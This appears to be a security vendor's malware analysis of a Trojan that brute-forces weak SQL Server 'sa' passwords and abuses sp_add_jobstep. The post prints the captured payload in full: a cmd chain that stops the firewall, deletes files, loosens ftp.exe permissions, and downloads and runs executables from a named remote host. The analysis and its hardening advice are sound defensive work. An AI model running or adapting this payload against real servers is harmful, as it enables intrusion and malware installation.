Endpoint Protection

Modern SQL databases are flexible, efficient, and can run commands at an OS level easily-a perfect target from a malicious code perspective! Our honeypot servers are full of worms that spread by email, IM, file-sharing, or network vulnerabilities, so finding a Trojan that targets SQL databases is always an unusual surprise for a virus researcher.

Some of you may remember the W32.SQLExp.Worm back in 2003—it was a bad worm that tried to exploit a vulnerability in SQL servers in order to spread. Similar threats exist, such as Hacktool.SQLck and various security assessment tools like SQL Ninja.

This time we have found a new SQL threat: Trojan.Eskiuel. The main functionality of this threat is to scan the Internet to find machines with poorly configured SQL servers (i.e. with weak or non-existing passwords), gain access to them, and use their stored procedures in order to download new malware from a remote host.

The anatomy of the attack is pretty simple. When run, the threat will read the IP address passed as an input parameter in the command line, and will start scanning all of the class B subnet of that IP address, looking for an SQL server.

Image 1: The threat is scanning the local subnet looking for SQL servers and it found one on the local machine (the computer is running a test SQL server with a weak password).

Once an SQL server is located, the Trojan will run a bruteforce attack on some common weak passwords for the administrator "sa" account. Note that the threat does not try to exploit any vulnerability, it is only trying to take advantage of SQL servers that may not be properly configured. When a weak password is found, the Trojan will log into the SQL server with full administrator rights.

Image 2: The threat was able to gain access to the SQL server and is now running commands and stored procedures in administrator mode.

At this point, the threat will be able to send commands for executing some common SQL stored procedures. In particular, it will disable some security settings and will use the stored procedure sp_add_jobstep in order to run a batch script, which is the real malicious payload.

Image 3: Network capture of the malicious Query Packed, which is used to run the sp_add_jobstep procedure to inject the batch script.

Normally the xp_cmdshell stored procedure is used in these kind of attacks and it is usually recommended that this procedure is removed from the server, unless it is absolutely necessary to have it. However, the sp_add_jobstep is a less common procedure, so there may be a better chance to find it and use it on a server, even though it is a little more tricky to use. The threat will need to modify the registry value HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines\SandBoxMode in order to lower the security settings of the server and to be able to run unsafe code. The core payload is the following (a text dump of the data take in the network capture in Image 3):

exec sp_add_job 'ux';
exec sp_add_jobstep Null,'ux',Null,'1','CMDEXEC','Cmd /c Copy ias\dnary.mdb dnary.mdb&del ias\ias.mdb&del ias\dnary.mdb&Start net1 stop sharedaccess&md ZeHin&cd ZeHin&del *.* /f /s /q&Cacls %windir%\system32\ftp.exe /c /e /p EveryOne:F&echo open SuperQ.Vicp.Cc>k.x&echo new>>k.x&echo 123>>k.x&echo mget *.exe>>k.x&echo bye>>k.x&ftp -i -s:k.x&del k.x&Cacls %windir%\system32\ftp.exe /C /E /P EveryOne:N&echo for %%i in (*.exe) do start %%i>DoIt.bat&DoIt.bat&ping -n 10 127.0.0.1&DoIt.bat&del DoIt.bat';
exec sp_add_jobserver Null,'ux',Null;
exec sp_start_job 'ux';

The batch script will disable the security settings (firewall, remote access policies), and will use the system’s ftp.exe program to download and run several executables from a remote host.

Image 4: The threat was able to run the batch script and open an ftp connection towards a malicious IP, from which it will download several malicious files.

Machines with a badly configured SQL server are exposed to this threat, which can attack the servers both locally or remotely. Standard good security practices are advised to tackle this risk: set a strong password for the SQL server administrator account, block access to the server from unrequired networks, and properly configure access rights for the stored procedures.